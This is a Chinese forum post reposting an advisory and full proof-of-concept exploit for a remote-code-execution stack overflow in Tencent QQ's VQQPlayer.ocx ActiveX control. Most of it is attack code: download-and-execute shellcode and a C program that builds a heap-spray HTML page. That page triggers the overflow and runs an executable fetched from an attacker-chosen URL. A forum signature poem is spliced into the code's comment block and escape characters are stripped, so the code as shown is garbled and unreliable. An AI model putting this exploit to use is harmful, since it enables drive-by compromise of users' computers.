返回列表 回复 发帖

QQ漏洞(远程可执行)

摘要:
    QQ是由Tencent公司开发的一个IM软件,在中国有着非常广泛的用户。DSW Avert在200612.31发现了QQ的几个0day漏洞,并通知了QQ官方。QQ在2007.1.1进行了升级。事实上,在此之前,幻影旅团(ph4nt0m)的axis就已经发现了这些漏洞,出于一些原因未曾公布,现在漏洞被公开了,所以将细节和可利用的POC公布如下:
    QQ的这几个漏洞,均是由于Activex Control造成的,相关dll分别是:VQQPLAYER.OCX,VQQsdl.dll,V2MailActiveX.ocx

    其中有一个成功利用后,将可远程控制用户电脑,因为是activex的,所以只需要用户安装过QQ,甚至不需要其登录,就可以成功利用。

    另外几个漏洞分别是拒绝服务漏洞,不可执行,在此不再赘述。

影响版本:

    Tencent QQ2006正式版及之前所有版本。(未升级2007.1.1补丁)

细节:

    在VQQPLAYER.OCX中,由于程序员的粗心,存在一个栈溢出漏洞,在函数返回时,可以控制EIP。
    漏洞存在的Method是LaunchP2PShare,
    ClassId是{AC3A36A8-9BFF-410A-A33D-2279FFEB69D2}
    其原型是:
    [id(0x00000030)]
VARIANT_BOOL LaunchP2PShare(
                BSTR szExeName,
                long nDuration);
   
    第一个参数没有进行长度检查,为超长字符串时,将造成一个栈溢出。

    幻影旅团将对此发布一个POC代码,请勿将此作为非法用途

POC:

----------------------------------------------------------------------------------------
/*
*-----------------------------------------------------------------------
*
* Tencent QQ VQQPlayer.ocx (all version) 0day
*
*
* Author: axis
* Date: 2006-12-27
* Mail: axis@ph4nt0m.org
*
* Bug discovered by axis@ph4nt0m.org
*          :
*          :
*          :
*          :
*          :Usage: filename <exe_URL> [htmlfile]
*          :       filename.exe http://site.com/file.exe localhtml.htm  
*
*  在VQQPlayer.ocx中的LaunchP2PShare函数的第一个参数没有做边界检查,超长将在MFC42.dll覆盖到eip和seh
*  QQ是vc6编译的,所以可以用覆盖返回地址的方法,不过要求覆盖eip和以前的是可见字符,要求比较苛刻
*  而且覆盖返回地址的方法,和QQ安装路径有关,因为是这样覆盖起 c:program filestencentqqAAAAA....
*  覆盖seh方法比较通用,使用heap spray的方法,跳到0x0c0c0c0c中去执行shellcode,但是会关闭ie。
*
*
04534E5F    55              PUSH EBP
04534E60    8BEC            MOV EBP,ESP
04534E62    81EC 60060000   SUB ESP,660
04534E68    53              PUSH EBX
04534E69    33DB            XOR EBX,EBX
04534E6B    395D 08         CMP DWORD PTR SS:[EBP+8],EBX
04534E6E    56              PUSH ESI
04534E6F    57              PUSH EDI
04534E70    8BF1            MOV ESI,ECX
04534E72    75 11           JNZ SHORT VQQPLA~1.04534E85
04534E74    C786 8C040000 1>MOV DWORD PTR DS:[ESI+48C],12
04534E7E    33C0            XOR EAX,EAX
04534E80    E9 42010000     JMP VQQPLA~1.04534FC7
04534E85    8B45 0C         MOV EAX,DWORD PTR SS:[EBP+C]
04534E88    3BC3            CMP EAX,EBX
04534E8A    8945 0C         MOV DWORD PTR SS:[EBP+C],EAX
04534E8D    7F 07           JG SHORT VQQPLA~1.04534E96
04534E8F    C745 0C 0A00000>MOV DWORD PTR SS:[EBP+C],0A
04534E96    BF 04010000     MOV EDI,104
04534E9B    8D85 A0FDFFFF   LEA EAX,DWORD PTR SS:[EBP-260]
04534EA1    57              PUSH EDI
04534EA2    53              PUSH EBX
04534EA3    50              PUSH EAX
04534EA4    E8 437F0000     CALL <JMP.&MSVCRT.memset>
04534EA9    57              PUSH EDI
04534EAA    8D85 A4FEFFFF   LEA EAX,DWORD PTR SS:[EBP-15C]
04534EB0    53              PUSH EBX
04534EB1    50              PUSH EAX
04534EB2    E8 357F0000     CALL <JMP.&MSVCRT.memset>
04534EB7    83C4 18         ADD ESP,18
04534EBA    897D FC         MOV DWORD PTR SS:[EBP-4],EDI
04534EBD    E8 6E780000     CALL <JMP.&MFC42.#1168_?AfxGetModuleStat>
04534EC2    8B40 04         MOV EAX,DWORD PTR DS:[EAX+4]
04534EC5    8B78 6C         MOV EDI,DWORD PTR DS:[EAX+6C]
04534EC8    8D85 A4FEFFFF   LEA EAX,DWORD PTR SS:[EBP-15C]
04534ECE    57              PUSH EDI
04534ECF    50              PUSH EAX
04534ED0    E8 C3250000     CALL VQQPLA~1.04537498
04534ED5    FF75 08         PUSH DWORD PTR SS:[EBP+8]
04534ED8    8D85 A4FEFFFF   LEA EAX,DWORD PTR SS:[EBP-15C]
04534EDE    50              PUSH EAX
04534EDF    E8 027F0000     CALL <JMP.&MSVCRT.strcat>                ; 溢出

[ebp-15c]处是QQ安装目录, [ebp+8]处是传递的第一个参数

  shellcode使用 add esp, 4dch
                pop ebp
  retn 24h
  安全退出返回到上层函数 mshtml.dll里

*/
在爱情里,从来不是以你征服了多少数量的异性为

胜利的,也不是以你通过爱情得到了某些物质利益

来诠释幸福的。真正幸福的人们,是茫茫人海里,

有一个人,纯粹地爱你,无怨无悔无要求地

把你放在胸口的位置——遗憾的是,

拥有这样幸福的人很少很少,

所以,如果你遇到了,请记得一定要珍惜。
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

FILE *fp = NULL;
char *file = "fuck_exp1.html";
char *url = NULL;

//Download Shellcode by swan@0x557  bypass防火墙
// 经axis@ph4n0m加入了恢复栈平衡,不挂ie
unsigned char sc[] =     
"x60x64xa1x30x00x00x00x8bx40x0cx8bx70x1cxadx8bx70"
"x08x81xecx00x04x00x00x8bxecx56x68x8ex4ex0execxe8"
"xffx00x00x00x89x45x04x56x68x98xfex8ax0exe8xf1x00"
"x00x00x89x45x08x56x68x25xb0xffxc2xe8xe3x00x00x00"
"x89x45x0cx56x68xefxcexe0x60xe8xd5x00x00x00x89x45"
"x10x56x68xc1x79xe5xb8xe8xc7x00x00x00x89x45x14x40"
"x80x38xc3x75xfax89x45x18xe9x08x01x00x00x5ex89x75"
"x24x8bx45x04x6ax01x59x8bx55x18x56xe8x8cx00x00x00"
"x50x68x36x1ax2fx70xe8x98x00x00x00x89x45x1cx8bxc5"
"x83xc0x50x89x45x20x68xffx00x00x00x50x8bx45x14x6a"
"x02x59x8bx55x18xe8x62x00x00x00x03x45x20xc7x00x5c"
"x7ex2ex65xc7x40x04x78x65x00x00xffx75x20x8bx45x0c"
"x6ax01x59x8bx55x18xe8x41x00x00x00x6ax07x58x03x45"
"x24x33xdbx53x53xffx75x20x50x53x8bx45x1cx6ax05x59"
"x8bx55x18xe8x24x00x00x00x6ax00xffx75x20x8bx45x08"
"x6ax02x59x8bx55x18xe8x11x00x00x00x81xc4x00x04x00"
"x00x61x81xc4xdcx04x00x00x5dxc2x24x00x41x5bx52x03"
"xe1x03xe1x03xe1x03xe1x83xecx04x5ax53x8bxdaxe2xf7"
"x52xffxe0x55x8bxecx8bx7dx08x8bx5dx0cx56x8bx73x3c"
"x8bx74x1ex78x03xf3x56x8bx76x20x03xf3x33xc9x49x41"
"xadx03xc3x56x33xf6x0fxbex10x3axf2x74x08xc1xcex0d"
"x03xf2x40xebxf1x3bxfex5ex75xe5x5ax8bxebx8bx5ax24"
"x03xddx66x8bx0cx4bx8bx5ax1cx03xddx8bx04x8bx03xc5"
"x5ex5dxc2x08x00xe8xf3xfexffxffx55x52x4cx4dx4fx4e"
"x00";

char * header =
"<!--  axis' exploit!  -->nn"
"<html>n"
"<head>n"
"<script language="javascript">n"
"tvar heapSprayToAddress = 0x0c010101;n"
"tvar shellcode = unescape("%u9090"+"%u9090"+ n";

char * footer =
"n"
"var heapBlockSize = 0x100000;n"             //如果太小了,会造成时间上来不及分配,导致溢出失败
"var payLoadSize = shellcode.length * 2;n"
"var spraySlideSize = heapBlockSize - (payLoadSize+0x38);n"
"var spraySlide = unescape("%u9090%u9090");n"
"spraySlide = getSpraySlide(spraySlide,spraySlideSize);n"
"heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;n"
"memory = new Array();nn"
"for (i=0;i<heapBlocks;i++)n{n"
"ttmemory = spraySlide + shellcode;n}n"

"function getSpraySlide(spraySlide, spraySlideSize)n{nt"
"while (spraySlide.length*2<spraySlideSize)nt"
"{nttspraySlide += spraySlide;nt}n"
"tspraySlide = spraySlide.substring(0,spraySlideSize/2);ntreturn spraySlide;n}nn"
"</script>n";

char * trigger =
"n<script>n"
"function AxisFun()n"
"{n"
"tevil.LaunchP2PShare("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c", 10000);n"

"n}n"

"</script>n"
"</head>n"
"<OBJECT ID="evil" CLASSID="CLSID:{AC3A36A8-9BFF-410A-A33D-2279FFEB69D2}"></OBJECT>n"

"<script>javascript:AxisFun();</script>n"
"</html>n";


// print unicode shellcode
void PrintPayLoad(char *lpBuff, int buffsize)
{
   int i;
   for(i=0;i<buffsize;i+=2)
   {
       if((i%16)==0)
       {
           if(i!=0)
           {
               printf(""n"");
               fprintf(fp, "%s", "" +n"");
           }
           else
           {
               printf(""");
               fprintf(fp, "%s", """);
           }
       }
           
       printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
      
       fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
     }
     

      //把shellcode打印在header后面,然后用 " ) " 闭合
       printf("";n");
       fprintf(fp, "%s", "");n");         
   
   
   fflush(fp);
}

void main(int argc, char **argv)
{
   unsigned char buf[1024] = {0};

   int sc_len = 0;


   if (argc < 2)
   {
      printf("Tencent QQ VQQPlayer.ocx (all version) 0day!n");
      printf("Bug Found by axis@ph4nt0mn");
   printf("Date: 2006-12-27n");
      printf("rnUsage: %s <URL> [Local htmlfile]rnn", argv[0]);
      exit(1);
   }
   
   url = argv[1];
   

    if( (!strstr(url, "http://") &&  !strstr(url, "ftp://")) || strlen(url) < 10)
    {
        printf("[-] Invalid url. Must start with 'http://','ftp://'n");
        return;               
    }

      printf("[+] download url:%sn", url);
      
      if(argc >=3) file = argv[2];
      printf("[+] exploit file:%sn", file);
      
   fp = fopen(file, "w");
   if(!fp)
   {
       printf("[-] Open file error!n");
          return;
   }   
   

   //build evil html file
   fprintf(fp, "%s", header);
   fflush(fp);
   
   memset(buf, 0, sizeof(buf));
   sc_len = sizeof(sc)-1;
   memcpy(buf, sc, sc_len);
   memcpy(buf+sc_len, url, strlen(url));
   
   sc_len += strlen(url)+1;
   PrintPayLoad((char *)buf, sc_len);

   fprintf(fp, "%s", footer);
   fflush(fp);  

   fprintf(fp, "%s", trigger);
   fflush(fp);
   
   printf("[+] exploit write to %s success!n", file);
}

----------------------------------------------------------------------------------------

建议:

禁止ie执行activex


厂商补丁:
目前厂商已经在2007.1.1日发布了升级补丁,请用户自行升级QQ:

http://www.qq.com

关于Ph4nt0m:
    Ph4nt0m是国内的一个安全组织,由一群来自五湖四海的朋友,因为共同热爱网络安全而走到一起来。
    欢迎访问我们的网站http://www.ph4nt0m.org

--EOF--

exp 下载:http://www.ph4nt0m.org/bbs/attachment.php?s=&postid=87380


[ 本帖最后由 射手座的情 于 2007-1-22 23:24 编辑 ]
在爱情里,从来不是以你征服了多少数量的异性为

胜利的,也不是以你通过爱情得到了某些物质利益

来诠释幸福的。真正幸福的人们,是茫茫人海里,

有一个人,纯粹地爱你,无怨无悔无要求地

把你放在胸口的位置——遗憾的是,

拥有这样幸福的人很少很少,

所以,如果你遇到了,请记得一定要珍惜。
挖塞太深奥老!支持
只要没水坑我就踩[我的空间帮忙踩下嘛~~~http://user.qzone.qq.com/39121228
返回列表